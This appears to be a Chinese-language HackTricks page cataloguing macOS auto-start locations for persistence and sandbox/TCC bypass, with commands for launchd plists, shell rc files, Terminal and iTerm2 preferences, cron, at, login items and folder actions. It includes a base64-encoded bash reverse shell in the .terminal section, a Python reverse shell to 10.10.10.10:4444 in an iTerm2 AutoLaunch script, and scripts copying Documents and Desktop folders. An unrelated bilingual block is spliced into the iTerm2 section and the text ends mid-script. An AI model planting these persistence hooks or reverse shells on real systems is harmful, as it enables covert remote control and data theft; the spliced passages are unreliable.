> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/macos-hardening/macos-auto-start-locations.md).

# macOS Auto Start

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

本节内容主要基于博客系列[**超越传统的LaunchAgents**](https://theevilbit.github.io/beyond/)，旨在添加**更多自动启动位置**（如果可能的话），指出**哪些技术**在最新版本的macOS（13.4）中仍然有效，并指定所需的**权限**。

## 沙盒绕过

{% hint style="success" %}
在这里，您可以找到有用于**绕过沙盒**的启动位置，允许您通过**将其写入文件**并**等待**一个非常**常见的** **操作**，一个确定的**时间量**或一个**通常可以在沙盒内执行**而无需root权限的**操作**来简单执行某些内容。
{% endhint %}

### Launchd

* 用于绕过沙盒：[✅](https://emojipedia.org/check-mark-button)
* TCC绕过：[🔴](https://emojipedia.org/large-red-circle)

#### 位置

* **`/Library/LaunchAgents`**
* **触发器**：重启
* 需要Root权限
* **`/Library/LaunchDaemons`**
* **触发器**：重启
* 需要Root权限
* **`/System/Library/LaunchAgents`**
* **触发器**：重启
* 需要Root权限
* **`/System/Library/LaunchDaemons`**
* **触发器**：重启
* 需要Root权限
* **`~/Library/LaunchAgents`**
* **触发器**：重新登录
* **`~/Library/LaunchDemons`**
* **触发器**：重新登录

#### 描述与利用

**`launchd`是在启动时由OX S内核执行的第一个** **进程**，也是在关机时最后一个完成的。它应该始终具有**PID 1**。此进程将**读取和执行**在以下**ASEP** **plist**中指示的配置：

* `/Library/LaunchAgents`：由管理员安装的每个用户代理
* `/Library/LaunchDaemons`：由管理员安装的系统范围守护程序
* `/System/Library/LaunchAgents`：由Apple提供的每个用户代理
* `/System/Library/LaunchDaemons`：由Apple提供的系统范围守护程序

当用户登录时，位于`/Users/$USER/Library/LaunchAgents`和`/Users/$USER/Library/LaunchDemons`中的plist将以**登录用户的权限**启动。

**代理和守护程序之间的主要区别在于代理在用户登录时加载，而守护程序在系统启动时加载**（因为有些服务如ssh需要在任何用户访问系统之前执行）。此外，代理可能使用GUI，而守护程序需要在后台运行。

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>
```

有时需要在用户登录之前执行代理，这些被称为**PreLoginAgents**。例如，这对于在登录时提供辅助技术很有用。它们也可以在`/Library/LaunchAgents`中找到（请参见[**此处**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)的示例）。

{% hint style="info" %}
新的守护程序或代理配置文件将在**下次重启后加载**，或使用`launchctl load <target.plist>`。也可以使用`launchctl -F <file>`加载没有扩展名的.plist文件（但这些plist文件在重启后不会自动加载）。\
也可以使用`launchctl unload <target.plist>`来**卸载**（指向它的进程将被终止）。

为了**确保**没有**任何东西**（如覆盖）**阻止**代理或守护程序**运行**，运行：`sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
{% endhint %}

列出当前用户加载的所有代理和守护程序：

```bash
launchctl list
```

{% hint style="warning" %}
如果一个 plist 文件被用户拥有，即使它位于守护程序系统范围的文件夹中，**任务将作为用户执行**而不是作为 root。这可以防止一些特权升级攻击。
{% endhint %}

### shell 启动文件

Writeup: <https://theevilbit.github.io/beyond/beyond_0001/>\
Writeup (xterm): <https://theevilbit.github.io/beyond/beyond_0018/>

* 用于绕过沙盒：[✅](https://emojipedia.org/check-mark-button)
* TCC 绕过：[✅](https://emojipedia.org/check-mark-button)
* 但您需要找到一个具有 TCC 绕过的应用程序，执行加载这些文件的 shell

#### 位置

* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
* **触发条件**：使用 zsh 打开终端
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
* **触发条件**：使用 zsh 打开终端
* 需要 root 权限
* **`~/.zlogout`**
* **触发条件**：使用 zsh 退出终端
* **`/etc/zlogout`**
* **触发条件**：使用 zsh 退出终端
* 需要 root 权限
* 可能还有更多在：**`man zsh`**
* **`~/.bashrc`**
* **触发条件**：使用 bash 打开终端
* `/etc/profile`（未生效）
* `~/.profile`（未生效）
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
* **触发条件**：预期与 xterm 触发，但**未安装**，即使安装后也会出现此错误：xterm: `DISPLAY is not set`

#### 描述与利用

当初始化 shell 环境，如 `zsh` 或 `bash` 时，**会运行某些启动文件**。macOS 目前使用 `/bin/zsh` 作为默认 shell。当启动终端应用程序或通过 SSH 访问设备时，会自动访问此 shell。虽然 `bash` 和 `sh` 也存在于 macOS 中，但需要显式调用才能使用。

我们可以通过 **`man zsh`** 阅读 zsh 的 man 页面，其中有关启动文件的详细描述。

```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
```

### 重新打开的应用程序

{% hint style="danger" %}
配置指定的利用方式，注销并重新登录，甚至重新启动都无法让我执行该应用程序。（应用程序未被执行，也许需要在执行这些操作时运行）
{% endhint %}

**Writeup**: <https://theevilbit.github.io/beyond/beyond_0021/>

* 用于绕过沙盒：[✅](https://emojipedia.org/check-mark-button)
* TCC绕过：[🔴](https://emojipedia.org/large-red-circle)

#### 位置

* **`~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`**
* **触发器**：重新启动时重新打开应用程序

#### 描述和利用

所有要重新打开的应用程序都在 plist 文件 `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` 中。

因此，要让重新打开的应用程序启动您自己的应用程序，您只需要**将您的应用程序添加到列表中**。

UUID 可以在列出该目录或使用 `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` 找到。

要检查将要重新打开的应用程序，您可以执行以下操作：

```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
```

要将应用程序添加到此列表中，您可以使用：

```bash
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
```

### 终端偏好设置

* 有用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
* TCC绕过: [✅](https://emojipedia.org/check-mark-button)
* 终端使用者需具有FDA权限

#### 位置

* **`~/Library/Preferences/com.apple.Terminal.plist`**
* **触发器**: 打开终端

#### 描述与利用

在\*\*`~/Library/Preferences`**中存储了用户在应用程序中的偏好设置。其中一些偏好设置可以包含配置以**执行其他应用程序/脚本\*\*。

例如，终端可以在启动时执行一个命令:

<figure><img src="/files/MXVrycykLplfeP50u5kA" alt="" width="495"><figcaption></figcaption></figure>

这个配置反映在文件\*\*`~/Library/Preferences/com.apple.Terminal.plist`\*\*中，如下所示:

```bash
[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]
```

所以，如果系统中终端的偏好设置的 plist 文件被覆盖，那么可以使用 **`open`** 功能来**打开终端并执行该命令**。

您可以通过以下命令行添加此功能：

{% code overflow="wrap" %}

```bash
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
```

{% endcode %}

### 终端脚本 / 其他文件扩展名

* 用于绕过沙盒的有用技术: [✅](https://emojipedia.org/check-mark-button)
* TCC绕过: [✅](https://emojipedia.org/check-mark-button)
* 终端使用用户的FDA权限

#### 位置

* **任何地方**
* **触发器**: 打开终端

#### 描述 & 利用

如果您创建一个[\*\*`.terminal`\*\*脚本](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)并打开它，**终端应用程序**将自动调用以执行其中指定的命令。如果终端应用程序具有一些特殊权限（如TCC），您的命令将以这些特殊权限运行。

尝试使用:

```bash
# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
```

您还可以使用扩展名\*\*`.command`**、**`.tool`\*\*，其中包含常规shell脚本内容，它们也将被终端打开。

{% hint style="danger" %}
如果终端具有**完全磁盘访问权限**，它将能够完成该操作（请注意，执行的命令将在终端窗口中可见）。
{% endhint %}

### 音频插件

Writeup: <https://theevilbit.github.io/beyond/beyond_0013/>\
Writeup: <https://posts.specterops.io/audio-unit-plug-ins-896d3434a882>

* 用于绕过沙盒：[✅](https://emojipedia.org/check-mark-button)
* TCC绕过：[🟠](https://emojipedia.org/large-orange-circle)
* 您可能会获得一些额外的TCC访问权限

#### 位置

* **`/Library/Audio/Plug-Ins/HAL`**
* 需要Root权限
* **触发器**：重新启动coreaudiod或计算机
* **`/Library/Audio/Plug-ins/Components`**
* 需要Root权限
* **触发器**：重新启动coreaudiod或计算机
* **`~/Library/Audio/Plug-ins/Components`**
* **触发器**：重新启动coreaudiod或计算机
* **`/System/Library/Components`**
* 需要Root权限
* **触发器**：重新启动coreaudiod或计算机

#### 描述

根据先前的写作，可以**编译一些音频插件**并加载它们。

### QuickLook插件

Writeup: <https://theevilbit.github.io/beyond/beyond_0028/>

* 用于绕过沙盒：[✅](https://emojipedia.org/check-mark-button)
* TCC绕过：[🟠](https://emojipedia.org/large-orange-circle)
* 您可能会获得一些额外的TCC访问权限

#### 位置

* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`

#### 描述与利用

当您**触发文件的预览**（在Finder中选择文件后按空格键）并安装了**支持该文件类型**的插件时，QuickLook插件可以被执行。

您可以编译自己的QuickLook插件，将其放在上述位置之一以加载它，然后转到支持的文件并按空格键触发它。

### ~~登录/注销挂钩~~

{% hint style="danger" %}
对我来说这不起作用，无论是用户LoginHook还是root LogoutHook
{% endhint %}

**Writeup**: <https://theevilbit.github.io/beyond/beyond_0022/>

* 用于绕过沙盒：[✅](https://emojipedia.org/check-mark-button)
* TCC绕过：[🔴](https://emojipedia.org/large-red-circle)

#### 位置

* 您需要能够执行类似`defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`的命令
* 位于`~/Library/Preferences/com.apple.loginwindow.plist`

它们已被弃用，但可用于在用户登录时执行命令。

```bash
cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
```

这个设置存储在`/Users/$USER/Library/Preferences/com.apple.loginwindow.plist`中

```bash
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
```

删除它：

```bash
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```

\*\*`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`\*\*中存储了root用户的自动启动位置。

## 条件沙盒绕过

{% hint style="success" %}
在这里，您可以找到有用于**绕过沙盒**的启动位置，允许您通过**将内容写入文件**并**期望不太常见的条件**（如特定**已安装的程序，"不寻常"用户**操作或环境）来简单执行某些操作。
{% endhint %}

### Cron

**Writeup**: <https://theevilbit.github.io/beyond/beyond_0004/>

* 用于绕过沙盒的有用性：[✅](https://emojipedia.org/check-mark-button)
* 但是，您需要能够执行`crontab`二进制文件
* 或者是root用户
* TCC绕过：[🔴](https://emojipedia.org/large-red-circle)

#### 位置

* **`/usr/lib/cron/tabs/`、`/private/var/at/tabs`、`/private/var/at/jobs`、`/etc/periodic/`**
* 需要root权限才能直接写入。如果可以执行`crontab <file>`，则无需root权限
* **触发器**：取决于cron作业

#### 描述和利用

列出**当前用户**的cron作业：

```bash
crontab -l
```

在\*\*`/usr/lib/cron/tabs/`**和**`/var/at/tabs/`\*\*中可以查看用户的所有cron作业（需要root权限）。

在MacOS中，可以找到几个以**特定频率**执行脚本的文件夹：

```bash
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```

在这里，您可以找到常规的**cron** **jobs**，**at** **jobs**（不太常用），以及**periodic** **jobs**（主要用于清理临时文件）。 比如，可以使用`periodic daily`来执行每日的周期性作业。

要通过编程方式添加**用户cronjob**，可以使用：

```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
```

### iTerm2

Writeup: <https://theevilbit.github.io/beyond/beyond_0002/>

* 用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
* TCC绕过: [✅](https://emojipedia.org/check-mark-button)
* iTerm2曾经被授予TCC权限

#### 位置

* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
* **触发器**: 打开iTerm
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
* **触发器**: 打开iTerm
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
* **触发器**: 打开iTerm

#### 描述与利用

存储在\*\*`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`\*\*中的脚本将被执行。例如:

```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```

### macOS Auto Start Locations

## macOS自动启动位置

macOS provides several locations where applications and services can be configured to automatically start when a user logs in. These locations can be leveraged by malware to maintain persistence on a system.

macOS提供了几个位置，可以配置应用程序和服务在用户登录时自动启动。恶意软件可以利用这些位置来保持系统的持久性。

The following are common auto start locations in macOS:

以下是macOS中常见的自动启动位置：

1. **Login Items**: These are user-specific auto start items that are configured in System Preferences > Users & Groups > Login Items.

   **登录项**：这些是在“系统偏好设置” > “用户与群组” > “登录项”中配置的特定于用户的自动启动项目。
2. **Launch Agents**: These are user-specific or global auto start items that are configured using property list (plist) files in the `~/Library/LaunchAgents/` and `/Library/LaunchAgents/` directories.

   **启动代理**：这些是使用属性列表（plist）文件在`~/Library/LaunchAgents/`和`/Library/LaunchAgents/`目录中配置的特定于用户或全局的自动启动项目。
3. **Launch Daemons**: These are global auto start items that are configured using property list (plist) files in the `/Library/LaunchDaemons/` directory.

   **启动守护程序**：这些是使用属性列表（plist）文件在`/Library/LaunchDaemons/`目录中配置的全局自动启动项目。
4. **Startup Items**: Deprecated auto start mechanism that was used in older versions of macOS. Startup items are stored in the `/Library/StartupItems/` directory.

   **启动项**：在旧版本的macOS中使用的已弃用的自动启动机制。启动项存储在`/Library/StartupItems/`目录中。

```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF
```

脚本 **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** 也会被执行：

```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```

在\*\*`~/Library/Preferences/com.googlecode.iterm2.plist`**中的iTerm2首选项可以**指示在打开iTerm2终端时执行的命令\*\*。

此设置可以在iTerm2设置中配置：

<figure><img src="/files/5CSnahaFeiTCRM3XNvC2" alt="" width="563"><figcaption></figcaption></figure>

而命令会反映在首选项中：

```bash
plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
```

你可以设置要执行的命令为：

{% code overflow="wrap" %}

```bash
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
```

{% endcode %}

{% hint style="warning" %}
很可能有**其他方法滥用 iTerm2 首选项**来执行任意命令。
{% endhint %}

### xbar

Writeup: <https://theevilbit.github.io/beyond/beyond_0007/>

* 用于绕过沙盒的有用性: [✅](https://emojipedia.org/check-mark-button)
* 但必须安装 xbar
* TCC 绕过: [✅](https://emojipedia.org/check-mark-button)
* 它请求辅助功能权限

#### 位置

* **`~/Library/Application\ Support/xbar/plugins/`**
* **触发器**: 一旦 xbar 被执行

#### 描述

如果安装了流行的程序 [**xbar**](https://github.com/matryer/xbar)，则可以在 **`~/Library/Application\ Support/xbar/plugins/`** 中编写一个 shell 脚本，在 xbar 启动时执行:

```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
```

### Hammerspoon

**Writeup**: <https://theevilbit.github.io/beyond/beyond_0008/>

* 有用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
* 但必须安装 Hammerspoon
* TCC 绕过: [✅](https://emojipedia.org/check-mark-button)
* 它请求辅助功能权限

#### 位置

* **`~/.hammerspoon/init.lua`**
* **触发器**: 一旦执行 Hammerspoon

#### 描述

[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) 作为 **macOS** 的自动化平台，利用 **LUA 脚本语言** 进行操作。值得注意的是，它支持完整 AppleScript 代码的集成和 shell 脚本的执行，显著增强了其脚本编写能力。

该应用程序寻找一个单一文件，`~/.hammerspoon/init.lua`，并在启动时执行该脚本。

```bash
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF
```

### BetterTouchTool

* 用于绕过沙盒：[✅](https://emojipedia.org/check-mark-button)
* 但必须安装BetterTouchTool
* TCC绕过：[✅](https://emojipedia.org/check-mark-button)
* 它请求Automation-Shortcuts和Accessibility权限

#### 位置

* `~/Library/Application Support/BetterTouchTool/*`

该工具允许指定应用程序或脚本在按下某些快捷键时执行。攻击者可能能够配置自己的**快捷键和操作以在数据库中执行任意代码**（一个快捷键可能只是按下一个键）。

### Alfred

* 用于绕过沙盒：[✅](https://emojipedia.org/check-mark-button)
* 但必须安装Alfred
* TCC绕过：[✅](https://emojipedia.org/check-mark-button)
* 它请求Automation、Accessibility甚至Full-Disk访问权限

#### 位置

* `???`

它允许创建工作流，当满足某些条件时可以执行代码。潜在地，攻击者可以创建一个工作流文件并让Alfred加载它（需要付费版本才能使用工作流）。

### SSHRC

Writeup: <https://theevilbit.github.io/beyond/beyond_0006/>

* 用于绕过沙盒：[✅](https://emojipedia.org/check-mark-button)
* 但需要启用和使用ssh
* TCC绕过：[✅](https://emojipedia.org/check-mark-button)
* SSH用于具有FDA访问权限

#### 位置

* **`~/.ssh/rc`**
* **触发器**：通过ssh登录
* **`/etc/ssh/sshrc`**
* 需要Root权限
* **触发器**：通过ssh登录

{% hint style="danger" %}
要打开ssh需要完全磁盘访问权限：

```bash
sudo systemsetup -setremotelogin on
```

{% endhint %}

#### 描述 & 利用

默认情况下，除非在 `/etc/ssh/sshd_config` 中设置了 `PermitUserRC no`，当用户通过 SSH 登录时，将执行脚本 `/etc/ssh/sshrc` 和 `~/.ssh/rc`。

### **登录项**

Writeup: <https://theevilbit.github.io/beyond/beyond_0003/>

* 用于绕过沙盒：[✅](https://emojipedia.org/check-mark-button)
* 但需要使用 `osascript` 执行参数
* TCC 绕过：[🔴](https://emojipedia.org/large-red-circle)

#### 位置

* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
* **触发：** 登录
* 利用载荷存储调用 **`osascript`**
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
* **触发：** 登录
* 需要 root 权限

#### 描述

在系统偏好设置 -> 用户与组 -> **登录项** 中，您可以找到用户登录时要执行的 **项目**。\
可以通过命令行列出、添加和删除它们：

```bash
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
```

这些项目存储在文件\*\*`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`\*\*

**登录项**也可以使用API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) 进行指示，该API将在\*\*`/var/db/com.apple.xpc.launchd/loginitems.501.plist`\*\*中存储配置。

### 将ZIP作为登录项

(查看有关登录项的先前部分，这是一个扩展)

如果将**ZIP**文件存储为**登录项**，则\*\*`Archive Utility`**将打开它，例如，如果ZIP文件存储在**`~/Library`**中，并包含具有后门的文件夹**`LaunchAgents/file.plist`\*\*，则该文件夹将被创建（默认情况下不会创建），并且plist将被添加，因此下次用户再次登录时，**plist中指定的后门将被执行**。

另一个选项是在用户主目录中创建文件\*\*`.bash_profile`**和**`.zshenv`\*\*，因此如果LaunchAgents文件夹已经存在，则此技术仍将起作用。

### At

详细信息：<https://theevilbit.github.io/beyond/beyond_0014/>

* 用于绕过沙盒：[✅](https://emojipedia.org/check-mark-button)
* 但您需要**执行** **`at`**，并且它必须是**启用**的
* TCC绕过：[🔴](https://emojipedia.org/large-red-circle)

#### 位置

* 需要**执行** **`at`**，并且它必须是**启用**的

#### **描述**

`at`任务旨在**安排在特定时间执行一次性任务**。与cron作业不同，`at`任务在执行后会自动删除。需要注意的是，这些任务在系统重新启动后仍然存在，这在某些情况下可能会被视为潜在的安全问题。

**默认情况下**它们是**禁用**的，但**root**用户可以使用以下命令**启用**它们：

```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```

这将在1小时内创建一个文件：

```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```

使用 `atq` 命令来检查作业队列：

```shell-session
sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021
```

以上我们可以看到两个已计划的任务。我们可以使用 `at -c JOBNUMBER` 命令打印任务的详细信息。

```shell-session
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt
```

{% hint style="warning" %}
如果未启用 AT 任务，则创建的任务将不会被执行。
{% endhint %}

**作业文件**可以在 `/private/var/at/jobs/` 找到

```
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2
```

文件名包含队列、作业编号和计划运行时间。例如，让我们看看 `a0001a019bdcd2`。

* `a` - 这是队列
* `0001a` - 十六进制的作业编号，`0x1a = 26`
* `019bdcd2` - 十六进制的时间。它表示自纪元以来经过的分钟数。`0x019bdcd2` 在十进制中是 `26991826`。如果我们将其乘以60，我们得到 `1619509560`，这是 `GMT: 2021年4月27日，星期二 7:46:00`。

如果我们打印作业文件，我们会发现它包含了我们使用 `at -c` 得到的相同信息。

### 文件夹操作

Writeup: <https://theevilbit.github.io/beyond/beyond_0024/>\
Writeup: <https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d>

* 有用于绕过沙箱：[✅](https://emojipedia.org/check-mark-button)
* 但您需要能够调用带参数的 `osascript` 来联系 **`System Events`** 以配置文件夹操作
* TCC绕过：[🟠](https://emojipedia.org/large-orange-circle)
* 它具有一些基本的TCC权限，如桌面、文稿和下载

#### 位置

* **`/Library/Scripts/Folder Action Scripts`**
* 需要 root 权限
* **触发器**：访问指定文件夹
* **`~/Library/Scripts/Folder Action Scripts`**
* **触发器**：访问指定文件夹

#### 描述和利用

文件夹操作是由文件夹中的更改自动触发的脚本，例如添加、删除项目，或其他操作，如打开或调整文件夹窗口。这些操作可用于各种任务，并且可以通过不同方式触发，如使用 Finder UI 或终端命令。

设置文件夹操作时，您可以选择以下选项：

1. 使用 [Automator](https://support.apple.com/guide/automator/welcome/mac) 制作文件夹操作工作流，并将其安装为服务。
2. 通过文件夹上下文菜单中的文件夹操作设置手动附加脚本。
3. 利用 OSAScript 向 `System Events.app` 发送苹果事件消息，以通过编程方式设置文件夹操作。

* 这种方法特别适用于将操作嵌入系统中，提供一定程度的持久性。

以下脚本是文件夹操作中可以执行的示例：

```applescript
// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```

要使上述脚本可被文件夹操作使用，请使用以下命令进行编译：

```bash
osacompile -l JavaScript -o folder.scpt source.js
```

在脚本编译完成后，通过执行以下脚本设置文件夹操作。该脚本将全局启用文件夹操作，并将先前编译的脚本附加到桌面文件夹。

```javascript
// Enabling and attaching Folder Action
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
